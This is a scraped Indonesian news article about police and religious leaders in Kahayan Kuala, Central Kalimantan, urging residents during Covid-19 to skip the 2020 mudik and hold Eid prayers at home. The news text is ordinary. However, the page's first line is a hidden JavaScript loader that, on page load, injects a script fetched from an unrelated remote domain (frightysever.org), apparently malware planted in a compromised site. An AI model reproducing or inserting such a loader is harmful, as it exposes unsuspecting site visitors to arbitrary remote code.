(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN. COM, PULANG PISAU – Pemerintah mengeluarkan larangan mudik. Sementara Menteri Agama telah menerbitkan surat edaran terkait panduan ibadah Ramadhan dan Idulfitri 1 Syawal 1441 H di tengah pandemi wabah corona (Covid-19).
Menindaklanjuti larangan mudik dan larangan sholat ied tersebut, Polisi Resort (Polres) Kahayan Kuala bersama Camat Kahayan Kuala berkoordinasi dengan dengan Majelis Ulama Indonesia (MUI) Kecamatan Kahayan Kuala, Kabupaten Pulang Pisau.
“Bersama dengan pimpinan daerah, telah melakukan pembahasan Surat Edaran Menteri Agama nomor 6 tahun 2020, salah satu poinnya mengatur mengenai pelaksanaan tarawih juga sholat ied, agar dilakukan bersama keluarga di rumah masing-masing,” ujar Kapolsek Kahayan Kuala IPTU Memet SH MM, Sabtu (23/5/2020).
“Kita mewaspadai pemudik dari daerah zona merah Covid-19. Dengan itu, kita imbau masyarakat agar menunda rencana mudik. Tindakan yang akan kita lakukan mengacu pada ketetapan yang berlaku,” ujarnya.
Sementara itu, Majelis Ulama Indonesia (MUI) menyambut baik upaya pemerintah untuk pencegahan penyebaran Covid-19. “Dalam itu, kami setuju untuk memutus mata rantai penyebaran Covid-19,” jelas ketua MUI Kahayan Kuala H Abdurrahman.
H Abdurrahman mengatakan, demi kebaikan bersama, diimbau agar sholat ied dilakukan di rumah dan konvoi malam takbiran tidak dilakukan. “Sementara waktu demi kebaikan bersama ditiadakan. Tapi kalau Covid-19 berakhir dapat dilaksanakan perayaan Ramadhan dan sholat Idulfitri seperti biasa,” ujarnya.
IPTU Memet mengatakan, untuk mendukung pemerintah memutus rantai penyebaran Covid-19 sebagaimana dituangkan dalam Maklumat Kapolri, pihaknya rutin melakukan operasi physical distancing.
“Disamping mengimbau masyarakat agar menghindari keramaian atau physical distancing. Itu adalah bentuk kepedulian Polri kepada masyarakat yang terkena dampak Covid-19, di wilayah hukum Kahayan Kuala. Kita langsung membuat kebijakan Penanganan Pencegahan Covid-19,” katanya. (kanalkalimantan.com/ags)
KANALKALIMANTAN.COM, MARTAPURA – Bunda PAUD Kabupaten Banjar Hj Nurgita Tiyas membuka Rapat Kerja (Raker) di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sejumlah aspek dalam budaya Banjar menjadi topik hangat di sela pengabdian internasional… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas melakukan pembahasan terhadap Persetujuan Penggunaan Kawasan Hutan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan kembali menggelar implementasi pelatihan AI… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Bonus atlet dan pelatih Banjarmasin peraih medali pada Pekan Olahraga Provinsi (Porprov)… Read More
KANALKALIMANTAN.COM - Menawarkan produk atau layanan yang bagus adalah kewajiban bisnis, namun itu saja tidak… Read More
This website uses cookies.